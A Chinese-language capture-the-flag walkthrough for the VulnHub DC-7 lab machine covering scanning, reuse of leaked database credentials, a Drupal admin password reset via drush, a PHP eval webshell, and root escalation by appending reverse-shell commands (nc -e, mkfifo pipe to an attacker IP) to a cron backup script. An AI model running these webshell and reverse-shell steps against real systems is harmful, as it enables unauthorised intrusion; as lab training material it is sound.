靶机地址:
https://www.vulnhub.com/entry/dc-7,356/
使用arp-scan命令或者使用nmap命令进行主机发现
arp-scan -l
nmap -p- 10.1.2.237
探测发现开放22端口SSH,80端口HTTP服务
详细探测服务信息
nmap -p80 -sV -A 10.1.2.237
发现后台
dirsearch -u http://10.1.2.237/ -i 200
尝试sql注入并未成功
指纹识别
whatweb http://10.1.2.237/
访问web界面,通过界面提示,爆破是无法利用成功的,要跳出"盒子",说明可能是白盒测试
通过发现左下角有作者信息,那么来到github搜索一下,看有没有价值信息
通过github找到作者,翻找源码找到config配置文件,打开查看内容
找到配置文件config.php,其文件内容如下:
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
根据上述代码可得服务名称和用户名以及密码,还有数据库的名称,拿到以上信息尝试利用
后台登录:失败
数据库连接:失败
通过端口扫描发现还开放了22端口,尝试远程连接
ssh:成功
ssh [email protected]
成功连接
查找系统具备suid权限的指令
find / -perm -u=s -type f 2>/dev/null
发现没有什么可利用的,但发现有一封邮件,查看有无讯息
cat /var/mail/dc7user
发现可执行脚本信息,以及数据库文件相关的信息
逐一查看,查看执行备份的脚本
ls -l /opt/scripts/backups.sh
cat backups.sh
脚本属主为root,属组是www-data。
通过脚本的内容,发现drush命令,对数据库进行了操作,以及打包备份操作。查一下drush相关命令内容
drush命令帮助如下:
可以使用drush来修改密码,更换后台的密码
drush user-password admin --password="admin"
第一次使用报错,来到网站目录再次执行即可
成功更改密码后,登录网站后台:
成功进行后台,来到插件位置,观察有无可代码执行或者getshell的地方
在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。
百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
PHP介绍页面如下,模块包下载地址附上
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装新模块,将链接填入即可
等待过后,安装成功
启用即可
来到扩展,安装
等待过后安装成功。
回到home,点击edit编辑,直接写入一句话木马
<?php @eval($_POST['cmd']);?>
写入后保存,注意选择php code
然后直接使用蚁剑进行连接,成功解析php
成功连接
获取www-data权限
//在虚拟终端当中执行反弹命令
nc -e /bin/bash 10.1.2.228 8888
kali成功接收shell,获取www-data权限
获取稳定shell
python -c "import pty;pty.spawn('/bin/bash')"
由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限
//将反弹shell命令追加到文件当中
echo "nc -e /bin/bash 10.1.2.228 6666" >> backups.sh
或
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.1.2.228 6666 >/tmp/f" >> backups.sh
或者在webshell当中的文件管理直接写入
查看文件内容,确认写入成功
//直接执行或者等待计划任务执行即可
kali端成功接收到shell,成功提权,通关!
思路:
主机发现---端口扫描---目录爆破发现后台---服务探测---白盒测试(源码当中找配置文件)---ssh远程登录---邮件信息---找到备份文件脚本---发现脚本当中的drush命令---修改后台密码---进入后台---寻找可代码执行或getshell地方---drupal8不允许执行命令(模块)---下载新的插件---getshell---反弹shell---追加反弹命令---提权即可
文章不妥之处,欢迎批评指正!